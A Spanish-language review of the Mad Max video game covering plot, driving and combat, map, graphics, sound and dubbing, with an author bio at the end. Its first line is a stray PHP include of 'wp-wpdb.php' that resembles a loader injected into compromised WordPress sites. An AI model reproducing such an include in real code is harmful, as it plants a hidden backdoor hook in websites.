if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Mad Max – La Fortaleza de LeChuck

Análisis Mad Max

Hablar de Mad Max es hablar de un icono cinematográfico creado por “the master mind” George Miller. Básicamente George Miller puso de moda las historias post-apocalípticas con un protagonista de pocas palabras llamado Max que luchaba por su supervivencia contra los locos moradores de aquél basto mundo, y dicho sea de paso, también combatía contra su propia locura. Si se tuviera que resumir la saga en dos palabras sería: locura y vehículos. Por supuesto el estudio encargado de llevar al antihéroe Max al mundo poligonal, Avalanche Studios, ha sabido plasmar estas dos ideas.

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Cabe destacar primero de todo que el videojuego de Mad Max se plantea como una especie de precuela de la reciente cinta “Mad Max: Fury Road” y así aprovechar el tirón mediático. Metiéndonos de lleno en el análisis, vemos tras el video inicial que la cosa es seria, Max pierde todo lo que le hace icónico: su vehículo “El Interceptor”, su chaqueta de cuero y su escopeta recortada de dos cañones. Lo pierde todo frente a un nuevo enemigo, Scrotus, hijo de Immortan Joe (villano de Fury Road).

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Scrotus no caerá ni con una motosierra clavada en la cabeza

Tras tomar el control del personaje, vemos un mundo abierto donde lo predominante en pantalla es el basto desierto con unos colores saturados y “vivos”. Lo primero que nos vamos a encontrar va a ser el que será el compañero más importante para Max, se trata de Chumbucket, un deforme jorobado, que afirma que su meta en la vida es construir el Arcángel, un coche sin parangón.

Con esta presentación, la mecánica a lo largo de toda la aventura es lógica, construir el Arcángel, destruir fortalezas en control de la horda de Scrotus e ir coleccionando chatarra (moneda de cambio en el juego) como destruyendo diversos monumentos de Scrotus, dispersados por el escenario. También existen varios personajes a los cuales Max debe brindar su ayuda, ya sea eliminando las fuerzas enemigas que ocupan su territorio como realizando tareas para mejorar sus respectivas fortalezas.

En el apartado jugable, se diferencian dos bloques: conducción y combates cuerpo a cuerpo al puro estilo de saga “Batman Arkham”. Sin embargo, no hay prácticamente queja en las fases en las que manejamos nuestro coche, viendo con satisfacción como va mejorando el Arcángel. Teniendo además nuestro compañero Chumbucket que hará de artillero, pudiendo lanzar arpones desde el coche. Por otra parte tenemos los combates cuerpo a cuerpo que pese a mejorarse igualmente con perks, carecen de la fluidez de la mencionada saga de Batman. Los combates, que suelen contar con Max contra varios maníacos, estos, atacan de uno en uno haciendo los enfrentamientos muy fáciles, eso sí, Max es muy bestia y ejecuta despiadados “brutalities”.

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Los globos nos permitirán ver los puntos de interés en el mapa

El mapa cumple las expectativas de tamaño, sin llegar a agobiar al jugador, curiosamente, uno de los bordes del mapa se denomina “la gran nada” y podemos recorrerla infinitamente con el coche, sin que hayan muros invisibles, obviamente solo habrá desierto. El juego apenas cuenta con pantallas de carga pero, al menos en consola, peca de poca fluidez en los fps, sufriendo, a veces, tirones de frames cuando recorremos el mapa a toda velocidad, un aspecto que ha faltado por pulir.

Como nota personal, la idea de survival en un principio, con la necesidad agua y comida para vivir, acaba siendo muy secundario, convirtiendo estas necesidades únicamente en opcionales, sólo para recuperar salud. Una gran opción desaprovechada.

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Tanto Max como su Arcángel serán personalizables

El apartado gráfico denota una cierta baja la calidad en el modelado de personajes, siendo en los escenarios bastante notables los efectos de luz logrados. Mención especial a las tormentas que lo que tienen de espectaculares lo tienen de peligrosas.

La banda sonora cumple para transmitir las emociones de las escenas de persercuciones y combates pero se echa en falta algún tema de ‘Mad Max: Fury Road’ , ya que la cinta tiene unos temas realmente buenos. El doblaje es únicamente en inglés, eso sí con subtítulos en español. El doblaje cumple bastante bien pero la voz de Max tendría que haber sido de Tom Hardy o Mel Gibson…

Como conclusiones finales y valoración, el personaje Max, por desgracia, no es ni el clásico Mel Gibson o el reciente Max de las películas de Tom Hardy. Se trata de un Max “genérico” y además bastante parlanchín, cosa que pierde credibilidad, ya que las líneas de diálogo de Max en la saga cinematográfica son más bien escasas… Recordemos que le juego está basado en películas y especialmente en la última entrega donde la caracterización del personaje cobra más peso.

La trama principal llega a gustar, yendo claramente en aumento tras cada misión, y viendo en los últimos tramos la auténtica esencia de Max. Si hubiera que poner algún “pero” sería su repetición de secundarias, que se basan en muchas ocasiones en “ve a tal sitio, saquea y pega unos puñetazos”.

En general, Mad Max gustará mucho tanto a los fans de las películas como a los fans de los juegos de conducción y acción, y con una duración de unas 30-40 horas, es un titulo en esencia sólido aunque con aspectos mejorables, pero merece que se le dé una oportunidad.

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Desarrollando la adicción a los videojuegos desde que tengo uso de razón, por ello, pretendo dedicarme en un futuro a su particular mundo. Los videojuegos se han convertido en un arte, y como todo arte, siempre es enriquecedor compartir la información y visión de todos sus píxeles.

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